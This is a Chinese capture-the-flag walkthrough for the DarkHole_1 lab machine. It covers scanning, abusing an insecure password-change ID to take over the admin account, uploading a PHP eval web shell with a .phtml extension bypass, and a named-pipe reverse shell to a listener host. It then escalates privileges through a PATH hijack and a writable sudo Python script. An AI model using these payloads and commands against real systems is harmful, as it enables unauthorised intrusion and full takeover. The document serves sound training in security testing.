DarkHole_1

2022年01月14日 阅读数:4
这篇文章主要向大家介绍DarkHole_1,主要内容包括基础应用、实用技巧、原理机制等方面,希望对大家有所帮助。

DarkHole_1攻略

主机发现

┌──(root💀kali)-[~]
└─# nmap -sP 192.168.8.0/24


在这里插入图片描述

目标靶机为192.168.8.134php

全面端口扫描

┌──(root💀kali)-[~]
└─# nmap -A 192.168.8.134 

在这里插入图片描述

22ssh和80httphtml

访问80

在这里插入图片描述

发现登陆页面python

在这里插入图片描述

可是咱们并不知道用户名密码mysql

越权

点击sign up now 去注册用户web

在这里插入图片描述

登陆后发现存在改密码选项,抓包查看sql

在这里插入图片描述

发现其id为2,可推测id为1的应该是默认的管理员shell

在这里插入图片描述

推测数据库中id为1的应该是管理员数据库

修改id为1bash

在这里插入图片描述

根据页面回显可知密码修改完成 , 密码123
在这里插入图片描述ssh

bp爆破管理员帐密

bp抓登录包送到intruder模块爆破

在这里插入图片描述

admin为帐号 1234为密码
在这里插入图片描述

登陆后台

在这里插入图片描述

发现存在upload页面

文件上传

先上传一个php一句话木马试水,抓包发送到repeater模块

<?php
phpinfo();
@eval($_POST['123']);
?>

发现失败文件类型限制为jpg,png,gif
在这里插入图片描述

上传png图片,抓包

在这里插入图片描述在这里插入图片描述
在这里插入图片描述

上传成功

并知上传文件路径为根下upload目录

修改后缀名绕过

php语言除了能够解析以php为后缀的文件,还能够解析php2,php三、php四、php5,phtml

修改后缀为phtml
在这里插入图片描述在这里插入图片描述

在这里插入图片描述

上传成功

探针执行成功,一句话木马也可执行

蚁剑链接

在这里插入图片描述

反弹shell

kali监听端口

nc -lvp  8888

蚁剑打开终端

mknod backpipe p && nc 192.168.8.131 8888 0<backpipe | /bin/bash 1>backpipe

因为靶机nc版本问题没法使用-e选项

在这里插入图片描述
在这里插入图片描述

python调交互bash

python3 -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

提权

www-data@darkhole:/var/www$ cat /etc/passwd 

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
darkhole:x:1000:1000:john:/home/darkhole:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false
john:x:1001:1001:,,,:/home/john:/bin/bash
www-data@darkhole:/var/www$ 

发现admin 和john用户

提权到john用户

进入john家目录

www-data@darkhole:/var/www/html/upload$ cd /home
cd /home
www-data@darkhole:/home$ ls -l
ls -l
total 8
drwxr-xr-x 4 darkhole darkhole 4096 Jul 17 21:07 darkhole
drwxrwxrwx 5 john     john     4096 Jul 17 22:16 john
www-data@darkhole:/home$ 
发现john家目录有777权限
www-data@darkhole:/home$ cd john
www-data@darkhole:/home$ ls -al
进入john家目录,查看全部文件
发现.ssh与toto对咱们目前www用户有权限

在这里插入图片描述

虽然.ssh很诱人可是因为配置缘由没法实现免密登陆

关注toto

toto有执行权限尝试执行

www-data@darkhole:/home/john$ ./toto
./toto
uid=1001(john) gid=33(www-data) groups=33(www-data)
www-data@darkhole:/home/john$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@darkhole:/home/john$ 
发现toto执行了id命令

编辑一个本地的id命令,因为tmp目录www用户有权限因此写入其中,并给予777权限

www-data@darkhole:/home/john$ echo 'bin/bash' >> /tmp/id
echo '/bin/bash' >> /tmp/id

www-data@darkhole:/home/john$ chmod +777 /tmp/id
chmod +777 /tmp/id

把刚刚写好的id添加到本地bash的环境变量中本地的bash

因为PATH会按照顺序匹配,后写的PATH在旧的PATH以前,所以会优先执行咱们写的id命令

www-data@darkhole:/home/john$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH

在这里插入图片描述

运行toto

www-data@darkhole:/home/john$ ./toto

在这里插入图片描述

查看user.txt拿到第一面flag

john@darkhole:/home/john$ cat user.txt
cat user.txt
DarkHole{You_Can_DO_It}

拿到john密码

john@darkhole:/home/john$ cat password
root123

提权至root

john@darkhole:/home/john$ sudo -l
sudo -l

[sudo] password for john: root123

Matching Defaults entries for john on darkhole:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on darkhole:
    (root) /usr/bin/python3 /home/john/file.py
john@darkhole:/home/john$ 

在这里插入图片描述

发现john能够使用root身份执行file.py

john@darkhole:/home/john$ sudo python3 /home/john/file.py   注意写绝对路径
sudo python3 file.py
john@darkhole:/home/john$ cat file.py
cat file.py

john@darkhole:/home/john$ 
可是file.py啥也没有

在这里插入图片描述

好在file.py咱们有写权限

在这里插入图片描述

写入python调bash代码

john@darkhole:/home/john$ echo 'import pty; pty.spawn("/bin/bash")' >file.py
echo 'import pty; pty.spawn("/bin/bash")' >file.py

执行file.py

john@darkhole:/home/john$ sudo /usr/bin/python3 /home/john/file.py
sudo python3 /home/john/file.py
root@darkhole:/home/john# id
id
uid=0(root) gid=0(root) groups=0(root)
root@darkhole:/home/john# 
发现成功提权

拿到flag

在这里插入图片描述